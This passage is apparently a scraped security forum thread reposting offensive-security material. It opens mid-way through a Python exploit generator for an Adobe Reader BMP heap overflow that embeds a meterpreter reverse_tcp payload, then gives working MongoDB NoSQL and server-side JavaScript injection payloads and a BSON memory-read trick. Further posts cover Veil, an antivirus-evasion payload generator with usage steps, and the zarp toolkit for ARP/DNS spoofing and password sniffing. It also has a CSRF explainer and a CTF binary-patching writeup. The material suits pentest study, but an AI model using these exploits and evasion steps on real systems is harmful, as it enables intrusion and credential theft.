CMD=calc'") parser.add_option('--payload', metavar='PAYLOAD', default=None) parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation') (options, args) = parser.parse_args() if options.doc: print __doc__ os.exit(-1) if options.debug: print mkXFAPDF(), os.exit(-1) if options.payload == None: #"windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R" msfpayload = Popen("msfpayload4.4 %s R"%options.msfpayload, shell=True, stdout=PIPE) shellcode = msfpayload.communicate()[0] else: shellcode = file(options.payload, "rb").read() #options.hexpayload.decode('hex') print mkXFAPDF(shellcode), Sursa: https://github.com/feliam/CVE-2013-2729/blob/master/XFABMPExploit.py
  6. Adobe Reader X BMP/RLE heap corruption Adobe Reader X is a powerful software solution developed by Adobe Systems to view, create, manipulate, print and manage les in Portable Document Format (PDF). Since version 10 it includes the Protected Mode, a sandbox technology similar to the one in Google Chrome which improves the overall security of the product. Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious bmp image triggers a heap over ow. Download: http://t.co/ivC0BG33fh
  7. [h=3]Attacking MongoDB[/h] I'm not going to describe the way a database is installed: developers make everything possible to ease this process even without using manuals. Let's focus on features that seem really interesting. The first thing is a REST interface. It is a web interface, which runs by default on port 28017 and allows an administrator to control their databases remotely via a browser. Working with this DBMS option, I found several vulnerabilities: two stored XSS vulnerabilities, undocumented SSJS (Server Side Java Script) code execution, and multiple CSRF. I'm going to detail the above mentioned vulnerabilities. The fields Clients and Log have two stored XSS vulnerabilities. It means that making any request with HTML code to the database, this code will be written to the source code of the page of the REST interface and will be executed in a browser of a person, who will visit this page. These vulnerabilities make the following attack possible: Send a request with the tag SCRIPT and JS address. An administrator opens the web interface in a browser, and the JS code gets executed in this browser. Request command execution from the remote server via the JSONP script. The script performs the command using undocumented SSJS code execution. The result is sent to our remote host, where it is written to a log. As to undocumented SSJS code execution, I've written a template, which can be modified as may seem necessary. http://vuln-host:28017/admin/$cmd/?filter_eval=function(){ return db.version() }&limit=1 It is well known that it is necessary to have a driver, which will serve as transport, to work with any significant database written in a script language, for instance PHP. I decided to take a close look at these drivers for MongoDB and chose a driver for PHP. Suppose there is a completely configured server with Apache+PHP+MongoDB and a vulnerable script. The main fragments of this script are as follows: $q = array("name" => $_GET['login'], "password" => $_GET['password']); $cursor = $collection->findOne($q); The script makes a request to the MongoDB database when the data has been received. If the data is correct, then it receives an array with the user's data output. It looks as follows: echo 'Name: ' . $cursor['name']; echo 'Password: ' . $cursor['password']; Suppose the following parameters have been sent to it (True): ?login=admin&password=pa77w0rd Then the request to the database will look as follows: db.items.findOne({"name" :"admin", "password" : "pa77w0rd"}) Due to the fact that the database contains the user admin with the password pa77w0rd, then its data is output as a response (True). If another name or password is used, then the response will return nothing (False). There are conditions in MongoDB similar to the common where except for few differences in syntax. Thus it is necessary to write the following to output records, which names are not admin, from the table items: db.items.find({"name" :{$ne : "admin"}}) PHP only requires another array to put it into the other one, which is sent by the function findOne. Let's proceed from theory to practice. At first, create a request, which sample will comply with the following conditions: password is not 1 and user is admin. db.items.findOne({"name" :"admin", "password" : {$ne : "1"}}) It will look as follows in PHP: $q = array("name" => "admin", "password" => array("\$ne" => "1")); It is only needed to declare the variable password as an array for exploitation: ?login=admin&password[$ne]=1 Consequently, the admin data is output (True). This problem can be solved by the function is_array() and by bringing input arguments to the string type. Another vulnerability typical of MongoDB and PHP if used together is related to injection of your data to a SSJS request made to a server. I'll use code to exemplify it. Assume that INSERT looks as follows: $q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }"; An important condition is that the variables $pass and $login are taken directly from the array $_GET and are not filtered (yes, it's an obvious fail, but it's very common): Send test data: ?login=user&password=password Receive the following data in response: Your login:user Your password:password Let's try to exploit the vulnerability, which presupposes that data sent to a parameter is not filtered or verified. Rewrite loginn variable: ?login=user&password=1'; var loginn = db.version(); var b=' The first thing we want is to read other records. A simple request is at help: /?login=user&password= '; var loginn = tojson(db.members.find()[0]); var b='2 Of course, it may happen that there will be no output, then it will be needed to use a time-based technique, which is based on a server response delay depending on a condition (true/false), to receive data. Here is an example: ?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2 It is well known that MongoDB allows creating users for a specific database. Information about users in databases is stored in the table db.system.users. We are mostly interested in the fields user and pwd of the above mentioned table. The user column contains a user login, pwd - MD5 string ?%login%:mongo:%password%?, where login and password are the login and hash of the login, key, and user password. All data is transferred unencrypted and packet hijacking allows obtaining specific data necessary to receive user's name and password. It is needed to hijack nonce, login, and key sent by a client when authorizing on the MongoDB server. Key contains an MD5 string of the following form: ”%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%)”. Let's move further and consider another type of vulnerabilities based on wrong parsing of a BSON object transferred in a request to a database. A few words about BSON at first. BSON (Binary JavaScript Object Notation) is a computer data interchange format used mainly as a storage of various data (Bool, int, string, and etc.). Assume there is a table with two records: > db.test.find({}) { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false } And a database request, which can be injected: >db.test.insert({ "name" : "noadmin2", "isadmin" : false}) Just insert a crafted BSON object to the column name: >db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false}) 0x08 before isadmin specifies that the data type is boolean and 0x01 sets the object value as true instead of false assigned by default. The point is that, dealing with variable types, it is possible to rewrite data rendered automatically with a request. Now let's see what there is in the table: > db.test.find({}) { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false } { "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true } False has been successfully changed into true! Let's consider a vulnerability in the BSON parser, which allows reading arbitrary storage areas. Due to incorrect parsing of the length of a BSON document in the column name in the insert command, MongoDB makes it possible to insert a record that will contain a Base64 encrypted storage area of the database server. Suppose we have a table named dropme and enough privileges to write in it. > db.dropme.insert({"\x16\x00\x00\x00\x05hello\x00\x010\x00\x00\x00world\x00\x00" : "world"}) > db.dropme.find() { "_id" : ObjectId("50857a4663944834b98eb4cc"), "" : null, "hello" : BinData(0,"d29ybGQAAAAACREAAAAQ/4wJSCCPCeyFjQkAOQAsAC...........................ACkALAAgACIAFg==") } It happens because the length of the BSON object is incorrect - 0x010 instead of 0x01. When Base64 code is decrypted, we receive bytes of random server storage areas. ?????: Positive Research Sursa: http://blog.ptsecurity.com/2012/11/attacking-mongodb_26.html
  8. SQL Poizon v1.1 – SQLi Exploit Scanner, Search Hunter, Injection Builder Tool SQL Poizon v1.1 – SQLi Exploit Scanner, Search Hunter, Injection Builder Tool is a tool which scans website through dorks automatically and finds vulnerabilities in them its very easy powerful too, to find vulnerable site of any country . New Features : “Look &Feel” is more attractive now. Rich “Context Menu” items. “Results” contain checkboxes to enable selection. “Selected Dork” box is editable now for user convenience. Built-in Browser for “Injection Builder” to check the impact of injection. “Text Bucket” available for “Injection Builder” to save extra data. “Insert Order By” button is added to “Injection Builder”. “Internet Browser” with Snapshot and HTML DOM Tree. Bug Fixes : It wont get stucked after pressing the stop button. Just a minor wait can occur which is okay. Progress bar for “Crawler” has been fixed. It will show correct progress now. Error on importing file is fixed now. You can import files from other directories as well. “Searchqu” shows invalid results. It is fixed now. Download : Sql Poizon v1.1 – Sqli Exploit Scanner,Injection Builder Tool password : racun Virus Scan 1 | Virus scan 2 Make sure “Run As Administrator” Sursa: SQL Poizon v1.1 - SQLi Exploit Scanner, Search Hunter, Injection Builder Tool | Rianul WP Blog
  9. [h=1]Lie to Me: Bypassing Modern Web Application Firewalls[/h] [h=2]by Vladimir Vorontsov on May 26, 2013[/h] The report considers analysis of modern Web Application Firewalls. The author provides comparison of attack detection algorithms and discusses their advantages and disadvantages. The talk includes examples of bypassing protection mechanisms. The author points out the necessity of discovering a universal method of masquerading for vectors of various attacks via WAFs for different algorithms. Slides: http://www.slideshare.net/d0znpp/lie-tomephd2013
  10. Shellcodecs Shellcoding Toolset Site blackhatlibrary.net Shellcodecs is a collection of shellcodes, loaders, sources, and generators provided with documentation designed to ease the exploitation and shellcode programming process. Download: http://packetstormsecurity.com/files/download/121852/shellcodecs.tar.gz Sursa: Shellcodecs Shellcoding Toolset ? Packet Storm
  11. [h=1]Veil – A Payload Generator to Bypass Antivirus[/h]Posted by CTruncer on May 30, 2013 NOTE: Please, be kind, and don’t submit any payloads to VirusTotal. On nearly every assessment, pen testers have to fight a battle against antivirus solutions. The level of effort that goes into each “battle” relies on the AV solution, its definitions, etc. Researching methods to bypass antivirus solutions has been an interest of mine on and off for the past 6 months. About two months ago I started to take a more serious look in how I could take my recent research and turn it into something that more usable and useful. I set out with a couple goals: Bypass common AV solutions that I/we routinely encounter in most network environments Utilize payloads that are compatible with the Metasploit framework, and expand upon these in future releases Attempt to make each payload file as random as possible With these goals in mind, I continued researching methods of bypassing AV. Since I wanted to maintain metasploit compatibility, I chose to use shellcode generated by the metasploit framework, specifically msfvenom. To accomplish this, I began looking into other available research, which is where I discovered a number of interesting techniques that a variety of people, such as Dave Kennedy and Debasish Mandal, already began to develop. From their research, I learned about really interesting ways to inject shellcode into memory through python. These methods were the foundation of the rest of my research. Since the majority of our assessment are against predominantly Windows environments, it was important that the tool worked reliably against these systems. Since I chose to write the tool in Python, I had to figure out how to package the Python output files containing the obfuscated shellcode to execute on Windows without requiring Python to be installed on the target machine. One of the solutions I looked into was using Py2Exe. I knew other software used this method to convert their Python-based scripts or tools into an executable that could run on Windows and figured I could do the same. I began testing Py2Exe with the payload files I developed and was successful running the executables on various versions of Windows, so I stuck with that solution. The final part was for me to develop a tool that automated the payload generation process, and I’m happy to release Veil. Note: Please be sure to check out https://www.veil-evasion.com, Veil’s website for the latest tutorials, updates, and repo location. Veil is currently capable of using 7 different methods to make 21 different payloads, all of which result in meterpreter connections. Veil provides the user with the option of using either Pyinstaller or Py2Exe to convert their python payload into an executable. With Pyinstaller, Veil users and have their file converted into an executable all within Kali and does not require the use of a second VM/Machine. When using Py2Exe,Veil will generate three files to which are required to create the final executable; a payload file (in Python), a file with runtime instructions for Py2Exe, and a batch script which handles converting the payload file into an executable. To generate the final payload, copy the three output files to a Windows host with Python, Py2Exe, and PyCrypto installed and execute the batch script. This will build the final executable that is uploaded to the target. The executable file can be dropped anywhere, on any Windows system, as all required libraries are stored within the exe file. Once dropped on a system and executed, the payload will result in a meterpeter callback that is undetected by AV. I’ve tested the packaged executable against multiple AV solutions (MSE, Kaspersky, AVG, Symantec, and McAfee), on both test systems and “in the wild,” and have a very high success rate, bypassing detection in almost every circumstance. I hope that, by releasing this tool, I can enable others in the community to provide more effective assessments by allowing them to focus their efforts on security risks and spend less time bypassing ineffective security measures that wouldn’t deter an actual adversary. Setup: For Kali: Run the setup script (setup.sh) and follow the installation process. Once the setup script has completed, delete the setup script. For Windows (when using Py2Exe) Install Python 2.7 - (tested with x86 – Python 2.7 Release) Install Py2Exe - (py2exe - Browse /py2exe/0.6.9 at SourceForge.net) Install PyCrypto - (The Voidspace Python Modules) Instructions for Use: Run Veil from Kali and generate your payload. If using Pyinstaller, your payload will be converted into an executable and is available for immediate use. If using Py2Exe Move the payload.py along with its two accompanying files onto your Windows machine (that already has python and the other dependencies from above installed). All three files should be placed in the root of the directory Python was installed to (likely C:\Python27). Run the batch script to convert the Python payload into an executable format. [*]Place the payload file on your target machine through any means necessary! Future Direction: Research new methods of encrypting or obfuscating the payload. Research other languages with direct access to the Windows API for delivering the payload. Want to play with Veil? Feel free to do so. Download, clone, do anything you’d like with it. You can download Veil here - https://github.com/ChrisTruncer/Veil. I hope that it can help others on their tests just as it has helped me. Please, if anyone has additional functionality they would like to add, I’d love to have input from the community! To learn how to effectively use Veil on assessments, and other Red Team techniques, check out our class at Blackhat USA 2013! And check out our Pen Testing class as well! References: Dave Kennedy - http://www.trustedsec.com/files/BSIDESLV_Secret_Pentesting_Techniques.pdf Debasish Mandal - Debasish Mandal's Blog: Execute ShellCode Using Python Sursa: https://www.christophertruncer.com/veil-a-payload-generator-to-bypass-antivirus/
      • 1
      • Upvote
  12. Video Tutorial: Introduction to Web Application Pen-Testing Posted by webpwnized in Information Security on Jun 3, 2013 9:05:02 AM Instructors: Jeremy Druin (webpwnized), Conrad Reynolds, Adrian Crenshaw (Irongeek) Twitter: @webpwnized Title: ISSA KY Web Application Pen Testing Workshop Tools Used: Mutillidae 2.5.7 (hxxp://sourceforge.net/projects/mutillidae/), Burp Suite 1.5 Free Edition Recorded By: Adrian Crenshaw of irongeek.com The KY ISSA hosted a one-day web application pen testing workshop in support of the Johnny Long family (@ihackstuff) which many know from Hackers for Charity. The demonstrations were performed on Mutillidae 2.5; a deliberately vulnerable web application freely available on Sourceforge. Mutillidae 2.5 is developed by Jeremy Druin (aka webpwnized). It contains 42 vulnerabilities in many different context. It is a free download. The interception proxy used is Burp Suite 1.5 Free edition. Both Mutillidae and Burp-Suite may be installed on Windows or Linux. They may be installed on the same host or two different hosts (more realistic). Mac OSX is not officially supported but Mutillidae and Burp-Suite have been known to run well using MAMP and Java respectively. The workshop was done to support the Long family. Johnny Long is a well-known speaking and author otherwise known as "j0hnny" or "j0hnnyhax". He moved to Africa in order to build computer training facilities in Uganda. Donations are given by browsing to http://www.hackersforcharity.org/donate/ then clicking the “Make a one-time donation directly to the Long family” link. Topics which were generally covered were: Injection point identification, prefixes, suffixes, and context SQL Injection Cross Site Scripting / Beef Hooks HTML Injection JSON injection Authentication Bypass (SQLi) Authentication Bypass (Cookie Tampering) Local File Inclusion Remote File Inclusion Cross Site Request Forgery Web Shells Before the workshop began, students were expected to have Mutillidae and Burp-Suite installed and operational so these topic were not covered. However, the following pre-requisite videos cover these topics using older versions of Mutillidae. Installing and Using Burp Suite: Installing NOWASP Mutillidae on Samurai Linux: Installing XAMPP/Mutillidae on Windows: Note: The specific environment used in the class was Mutillidae 2.5 running on a Windows XP virtual machine and Burp-Suite 1.5 Free running on both the localhost and a Kali Linux host. All of the hosts were on a Virutal Box host only network. No software was installed on the host operation system. All demos were run from virtual guests. The modules were recorded in sections. Some sections covered speaker introductions, mentions of the ISSA hosts, and other material which was not related to the instruction. Therefore the instructional "parts" are not sequential. ISSA 2013 Web Pen-testing Workshop - Part 1 - Intro to Mutillidae, Burp Suite & Injection ISSA 2013 Web Pen-testing Workshop - Part 2 - SQL Injection ISSA 2013 Web Pen-testing Workshop - Part 3 - Uploading Web Shells via SQL Injection ISSA 2013 Web Pen-testing Workshop - Part 4 - Auth Bypass via SQLi & Cookie Tampering ISSA 2013 Web Pen-testing Workshop - Part 6 - Local/Remote File Inclusion ISSA 2013 Web Pen-testing Workshop - Part 7 - Webshells ISSA 2013 Web Pen-testing Workshop - Part 9 - HTML & Javascript Injection ISSA 2013 Web Pen-testing Workshop - Part 10 - Beef Hooks https://www.youtube.com/watch?v=t-44ZsaeIQE&feature=player_embedded ISSA 2013 Web Pen-testing Workshop - Part 12 - JSON Injection https://www.youtube.com/watch?v=d71YfVR1eWA&feature=player_embedded Sursa: https://community.rapid7.com/community/infosec/blog/2013/06/03/video-tutorial-introduction-to-web-application-pen-testing
  13. Windows Meterpreter-less Post Exploitation Authored by Sanoop Thomas This whitepaper explores the post exploitation of Metasploit using a generic shell rather than the meterpreter shell. “Metasploit”ing the target machine is a fascinating subject to all security professionals. The rich list of exploit codes and other handy modules of Metasploit Framework make the penetrators’ life quite easier. It gives a ton of other options and toolsets for exploit development too. This document mainly explores the post exploitation modules with generic shell rather than meterpreter shell. Download: http://packetstormsecurity.com/files/download/121937/Windows_Meterpreterless_PostExploit.pdf Sursa: Windows Meterpreter-less Post Exploitation ? Packet Storm
  14. [h=1]Understanding and Validating Cross-site Request Forgery[/h] danielmiessler| June 11, 2013 - last edited June 13, 2013 [Corresponding slides available here. ] Cross-site Request Forgery--often written CSRF and pronounced "Sea-surf"--is a common web application vulnerability that's far too misunderstood. Having participated in countless information security interviews over the years, it's stunning to see the number of experienced professionals in our space who struggle even to describe how CSRF differs from XSS--let alone how to validate it or defend against it. This article will discuss the basics of the vulnerability, how to validate that it's present in real-world applications, and some common ways of defending against it. CSRF is currently (2013) #8 on the OWASP Top 10 list of web application vulnerabilities, and it can be described as follows: Cross-site Request Forgery is a vulnerability in a website that allows attackers to force victims to perform security-sensitive actions on the Internet without their knowledge.Let's try to unpack that. First, the vulnerability is on the server side, not on the client side. Second, it involves an attacker forcing a victim to perform a security-sensitive action. And finally, victims usually don't know the attack is taking place until much later--if ever. So what constitutes a "sensitive action"? Two things: 1) it has to result in a change, and 2) it has to be a change that matters. Examples include changing someone's salary, transferring money at a bank, updating someone's password, etc. Non-changes don't matter, and changing the background color of a webpage probably doesn't matter either. Forcing a user to execute these actions is done through the manipulation of their browser. There are several types of functionality that browsers execute for us when we visit a webpage--all without our knowledge. When visiting cnn.com, for example, there may be 100 different image requests that are performed by your browser, and none of them are the result of explicit action by the user. Automatic image loading, as well as script execution, work to the advantage of the attacker in the case of CSRF. With these types of automated actions, your browser isn't just requesting those resources on your behalf: they're actually sending your cookies for that resources domain out with each request. And cookies are proof to the receiving website that you are you. Image from linuxforu.com So we basically have a situation where your browser is constantly doing things on your behalf--such as sending requests for images and executing scripts--and your authentication information (cookies) are being sent along with each request. And if you spend a couple hours browsing online this has probably happened to you literally thousands of times. So, why is this a problem? Because if you visit a malicious website, they can create an image that looks like so: In other words, just by visiting some random website hosting cat pictures, your browser could attempt to load that image--thereby resulting in you transferring money to an attacker. How could they do that without your authorization? That's the problem--they had your authorization, because when you sent a request to somebankfrom1999.com you also sent your cookie for that site as well. And cookies are basically passwords for web applications. So, that's bad (thanks Egon). One thing that's interesting about this is that it's an abuse of trust that makes this possible--just like with XSS--only the opposite. With Cross-site Scripting you have the client running malicious JavaScript because it was served by a server it trusts, and with Cross-site Request Forgery you have the server executing sensitive actions because it was sent by a client it trusts. Validation My background is in vulnerability assessment and penetration testing, so I've seen a lot of real CSRF and a lot of what <em>looks like</em> real CSRF. Here are three ways to validate that you have the real thing. In order to have real CSRF you must have all of the following: You can make a change using it That change is sensitive The request that makes the change isn't unique I like the acronym "CSU" to remember those three. So, if a tool tells you you have CSRF because it pattern matched off of some sensitive name--like transfer.aspx, but you're not able to make a change to anything using that page or request--it's not a real CSRF vulnerability. It's also important to realize that the change must happen in a single request, i.e. it cannot be stopped by a CAPTCHA, or an additional authentication prompt, etc. If you can't make a change--and make it without hitting a deliberate interruption--then it's not CSRF. Similarly, if you can make a change to the page, but it's not to something that the business cares about--you also don't have a CSRF vulnerability. Notice I said something the business cares about. CSRF is a vulnerability that highlights the fact that the business knows best when it comes to impact. If you tell them that someone could do "X" to "Y" within the site, and the business knowledgably responds that it's not an issue for them--then it's not a significant vulnerability. Finally, both the above need to be true in addition to the request that makes it happen being non-unique. What does that mean? It means that the request that triggers the sensitive change (qualified above) must be able to be triggered by an attacker in a trap that is laid for the victim--either via an auto-submit form field or via an image load--etc. If such a request would fail due to defense on the server side--then you also don't have a vulnerability. So, before you write someone up as having a CSRF vuln, you need to be able to show that all three are true. Tools are great at pointing you in the right direction, but remember that you may need to validate all the steps above before you submit or accept CSRF as a valid vulnerability. Attack Vectors CSRF attacks work by getting users' browsers to unknowingly perform undesirable and sensitive actions. This happens by them arriving at a given website where malicious content exists, which is then executed by their browser. There are two main ways of doing this: Inserting malicious content into an existing site the victim will visit, e.g. a malicious image tag or form submission that executes on page load Creating a page of your own, hosting that malicious content there, and then enticing the victim to visit your own page In both cases the content in question will be executed and the actions will be performed. Common Defenses We talked about validating CSRF, and the key to defense lies in a couple of those checks, namely the ability to make a change in one request, and the ability for an attacker to build a request that will work on the server-side without being rejected for non-uniqueness. Let's take a look at those. You can defend your application by adding an additional step, or steps, to complete sensitive actions. This could be the completion of a CAPTCHA, an additional authentication challenge, or even just a confirmation that cannot be completed in an automated fashion. The key is stopping a single request from performing the action. 2. Another and perhaps more common way is to ensure that all requests to perform sensitive actions include unique identifiers that only legitimate clients will have, which prevents attackers from building valid requests that are then launched by unknowing victims. This usually takes the form of implementing a nonce within a hidden field of the form being sent. Combining XSS and CSRF The nonce defense mentioned above works because a valid request to the page, which yields a valid nonce, is required in order to build a legitimate request to the application. XSS can potentially be used to fetch the nonce, however, which can then be used in the subsequent CSRF request. This is what the Samy MySpace worm did. The Samy worm was code on a user's profile that, when visited, added Samy as the visitors friend and then copied the code to their profile. But MySpace had a CSRF request--the nonce requirement. Samy bypassed that by pulling the nonce first via XSS and then feeding that value into the CSRF request. Resources and Links CSRF Prevention Cheetsheet Understanding CSRF Slides (Slideshare) CSRF Tester (OWASP) CSRF Guard (OWASP) Daniel Miessler (GitHub) Summary Knowing the basics of Cross-site Request Forgery and how to validate that it's been found in real-world applications is a a good minimum for today's application security professionals. Remember the CSU acronymn for validation: The request in question must be able to make a change, that change must be sensitive, and must be non unique. For any comments or questions, please contact me at daniel.miessler@hp.com. Sursa: Understanding and Validating Cross-site Request Fo... - HP Enterprise Business Community
  15. [h=1]introducing zarp[/h]I've been quietly developing a local network attack tool for quite a while now, and it's approaching a state I deem 'presentable'. Bugs are still being ironed out, and tons of features are still planned, but I've gotten some great feedback over the past few months and decided it was time for an official introductory post. This post serves as an introduction into the current capabilities of the framework, as well as a timeline for future development and goals. zarp is a local network attack toolkit that emphasizes absolute control over local networks. It's end goal is to provide a very clean, modular, well-defined interface into a network, handing absolute control over to the user. Over the course of several months, I discovered myself having to harness one too many tools to perform very basic, and what should be, simple network exploitation. Mind you, zarp is not about exploiting hosts. It is merely about the manipulation of any and all traffic present on the local network, and allowing the user the ability to view it, manipulate it, and save it in any manner they desire. I would align zarp more with Ettercap than Metasploit. zarp is written in Python and makes an attempt to be as modular as possible while maintaining a high level of independence. As of now, three things are required to run zarp: Python 2.7.x, Linux, and Scapy. Because of Scapy's age, I've had to modify the source code explicitly for zarp, and thus Scapy comes packaged with zarp. I'm currently working to replace Scapy entirely and move to Python 3, but this won't be for awhile. Zarp modules are dynamically loaded at runtime, and a very basic, but useable, interface has been defined. It is incredibly easy to write a zarp module and get them loaded up into the framework. zarp's predominant interface is a CLI-driven GUI, as shown: bryan@devbox:~/zarp$ sudo ./zarp.py [!] Loaded 35 modules. ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version 0.1.3] [1] Poisoners [5] Parameter [2] DoS Attacks [6] Services [3] Sniffers [7] Sessions [4] Scanners 0) Back > Each module is loaded into one of six buckets. These buckets define the traits of the module and its intended use. Sessions [7] are how sessions are managed. Zarp allows a user to poison, sniff, and scan as many hosts as your system allows. This means that all of your network poisoning and sniffing can be performed all in one spot. > 0 7 [Running sessions] [1] ARP Spoof [0] 192.168.1.219 [1] 192.168.1.49 [2] Password Sniffer [0] 192.168.1.49 |--> Logging to /tmp/passwords_49.txt [3] HTTP Server [0] HTTP Server [4] DNS Spoof [0] 192.168.1.219 |-> [0] facebook.* -> 192.168.1.42 [1] Stop session [2] View session [3] Start session logger [4] Stop session logger 0) As shown, many sessions can be managed from this interface at once. Each module defines how output is displayed when the user is 'viewing' the session; it could be network traffic, passwords, HTTP requests, and more. Various sniffers built in allow easy parsing and logging. Below are some of the built-in modules. ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version 0.1.3] [1] Poisoners [5] Parameter [2] DoS Attacks [6] Services [3] Sniffers [7] Sessions [4] Scanners 0) Back > 1 [1] ARP Spoof [2] DNS Spoof [3] DHCP Spoof [4] NBNS Poison [5] LLMNR Spoofer [6] ICMP Redirection 0) Back > 0 2 ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version 0.1.3] [1] DHCP Starvation [2] LAND DoS [3] IPv6 Neighbor Discovery Protocol RA DoS [4] Nestea DoS [5] SMB2 DoS [6] TCP SYN [7] IPv6 Neighbor Unreachability Detection DoS [8] Linux 2.6.36 - 3.2.1 IGMP DoS [9] MS13-018 Win7/8 DoS 0) Back > 0 3 ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version 0.1.3] [1] HTTP Sniffer [2] Password Sniffer [3] Traffic Sniffer [4] Database Sniffer [5] Packet Modifier 0) Back > Also included are various router exploits, switch flooding, ARP shells, access point cracking, and more. Zarp also allows modules to set CLI options, which can be used like any regular CLI application: bryan@devbox:~/zarp$ sudo ./zarp.py --help [!] Loaded 35 modules. ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version 0.1.3] usage: zarp.py [-h] [-q FILTER] [--update] [--wap] [--ftp] [--http] [--smb] [--ssh] [--telnet] [-w] [-s] [--service-scan] optional arguments: -h, --help show this help message and exit -q FILTER Generic network sniff --update Update Zarp Services: --wap Wireless access point --ftp FTP server --http HTTP Server --smb SMB Service --ssh SSH Server --telnet Telnet server Scanners: -w Wireless AP Scan -s Network scanner --service-scan Service scanner bryan@devbox:~/zarp$ sudo ./zarp.py --ssh [!] Loaded 35 modules. ____ __ ____ ____ (__ ) / _\ ( _ \( _ ' / _/ / \ ) / ) __/ (____)\_/\_/(__\_)(__) [Version 0.1.3] [!] Starting SSH Server... The idea behind services is this: honeypots are scary effective at what they do because they exploit a certain trust a user has in a system, or address. But, if I'm able to DoS a web server, ARPP/DNS spoof the host into redirecting it to me, I can fetch credentials off them just by presenting a login. These can be leveraged in any number of ways, including spoofing, social engineering, etc. I realize that many of these attacks are not bleeding-edge; that's okay, for now. I needed a solid foundation full of tried-and-true attacks that I can then expand upon; for this reason, I've gone for breadth over depth, initially. Modules are still being actively developed and features piled on. zarp is currently lacking a few key features, such as packet modification and ssl stripping, but these are currently in development. Moxie's sslstrip is fantastic, but I would prefer a native implementation without relying on twisted. Now comes the future; what's the end-goal for zarp. I see zarp as a master control system for a local network. Plug it in and watch it grow. Recently I've added a database logging tool that formats certain key bits, username/passwords, hosts, logs, etc., and inserts them into a local sqlite3 database. This will be expanded to eventually allow connections to postgresql/mysql servers for remote work and collaboration. The idea behind this is to allow a web application the ability to aggregate everything zarp spits out and organize, analyze, and display this in a very powerful way. This web application presents network topologies, host relationships, active connections, man-in-the-middle attacks, and more. The television to zarp's remote control. Though ambitious, I feel this could be an incredibly powerful tool that provides pentesters an invaluable service. I'm hoping this post garners a few users who can provide solid usage feedback and help iron out bugs or develop features; if you like what you've seen, please check out the wiki or send me an email (drone AT ballastsecurity DOT net) or tweet (@dronesec). Any and all feedback, including suggestions/bugs/questions, are welcome. You can check it out here; git clone https://github.com/hatRiot/zarp.git. Posted 3 weeks ago by drone Sursa: forelsket & security: introducing zarp
  16. [h=1]Practical Exploitation - Effective NTLM / SMB Relaying[/h] Using ZackAttack, Responder and proxychains we can utilize relayed credentials more effectively than previously available. Here is a way to take this further:
  17. Modifying a Binary File? In this post I will be talking about how I cracked one of the CTF challenges during the final semester in my university. The CTF competition was part of the Network Security course and was held for two days over a weekend in spring. Those two days were one of the most exciting times I have spent in front of a computer. The adrenaline rush of solving problems and getting points awarded is something that only the participants will know about. So, coming to the challenge I'm talking about. Given were: a program binary that provides encryption/decryption services, an encrypted message and the key that was used to encrypt the message. The challenge was to decrypt the encrypted message. But.... Decryption capability in the program binary was disabled! The program took the following command line arguments "Usage: ./crypt INPUT-FILE OUTPUT-FILE KEY (DECRYPT|ENCRYPT)". So if we mentioned "DECRYPT" it would output "NO DECRYPT ENABLED !!!". Okay, so I opened up the GNU debugger gdb. Started stepping through code to see where the command line arguments were processed. I observed that the function names were still preserved, although they were mangled because the C++ compiler implements name mangling. There were two functions, '_Z7decryptSsSs' and '_Z7encryptSsSs' apart from the 'main' function. Stepping one instruction at a time through the main function I found the code where the command line argument was being checked for DECRYPT/ENCRYPT. Here it is: Observe that the code is checking only whether the fifth argument's first character is 'D' or not. D is hex 44h. So if it is 'D' then register al is set and then the stack variable at [ebp-0x239] is also copied the value of al. The code then checks whether this value is zero, meaning 'E' was the first character of the fifth parameter, and then jumps based on this comparison. If the jump is not taken then the code calls std::cout to print the "NO DECRYPT ENABLED !!!" message and exits. When "ENCRYPT" was passed, jump was taken and the stack variable [ebp-0x236] was being used further down in the code when the decision was made to call either _Z7encryptSsSs() or _Z7decryptSsSs(). So the basic steps the code was taking is shown in this pseudo-code: main(){ // x = ebp-0x239 al = (argv[4][1] == 'D')? 1 : 0; x = al; if(x == 0) goto do_not_exit; std::cout << "NO DECRYPT ENABLED !!!\n"; exit_program do_not_exit: read input file read key file open output file if(x == 1) call _Z7decryptSsSs() else call _Z7encryptSsSs() exit_program } As you can see there are two places where the control flow changes. Two ideas came to my mind on that day. Control the stack variable 'x' so that the correct branches are taken even though "DECRYPT" is passed. Change the binary file so that the call to the encrypt() function gets replaced with a call to the decrypt() function. I chose the first option since it was easier. However I didn't quite succeed because the [ebp-0x239] was being over-written when some library functions were called. GDB has the functionality that enables you to monitor a memory location and break whenever a read/write operation is performed from/to that memory location. I tried using this but got tangled up in multiple places where this memory area was accessed. It was taking too much time. I then thought of the second option. For changing the binary file, all I had to do was to modify the target of the call instruction to point to the decrypt function instead of the encrypt function. The intel call instruction takes the target as an offset which means the call instruction simply does this to call a function: EIP = EIP+offset. See the disassembly below: The call instruction at 0x080494ee is "e3 e1 f8 ff ff". Call opcode is 0xe3 and the code_offset is 0xfffff8e1. All we have to do is replace 